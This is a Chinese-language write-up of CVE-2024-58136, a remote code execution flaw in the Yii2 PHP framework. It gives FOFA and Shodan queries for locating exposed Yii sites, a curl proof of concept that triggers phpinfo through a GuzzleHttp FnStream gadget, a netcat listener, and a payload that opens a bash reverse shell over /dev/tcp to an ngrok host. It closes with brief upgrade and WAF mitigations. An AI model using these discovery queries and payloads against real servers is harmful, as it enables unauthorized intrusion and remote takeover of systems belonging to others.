CVE-2024-58136是Yii2 PHP 框架中的一个高危远程代码执行 (RCE)漏洞。该漏洞源于密钥验证不当，允许攻击者使用受控参数实例化任意 PHP 类，从而导致 RCE。

本文演示了如何在实际应用程序中发现此漏洞，如何获取 Recevese Shell 和缓解措施。

CVE-2024-58136 的根本原因

参考：
https://attackerkb.com/topics/U2DdokjYhB/cve-2024-58136/rapid7-analysis

CVE-2024-58136 — RCE PoC利用

发现目标

1. FOFA 查询

title= “yii” || title = “X-Powered-By: Yii”

2. Shodan查询

在 Shodan 中使用它：

http.headers：“X-Powered-By: Yii”

3.PoC漏洞

步骤 1：phpinfo() 测试确认 RCE

curl -k -X POST https://target/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'

检查响应是否包含phpinfo()、PHP Version等，探测是否有此漏洞。

步骤2：反向Shell载荷

设置和监听器

nc  -lvnp  9999

CVE-2024-58136 — RCE PoC

curl -k -X POST https://sub.domain.tld/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/9999 0>&1'\''"}}'

补丁

• 将 Yii2 升级到2.0.52或更高版本
• 添加服务器端 WAF 来阻止行为键__class，as例如on
• 避免接受来自不受信任的客户端的原始 JSON。